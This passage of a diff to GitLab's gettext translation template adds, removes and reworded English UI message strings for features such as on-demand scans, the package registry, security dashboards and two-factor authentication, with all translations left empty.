+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
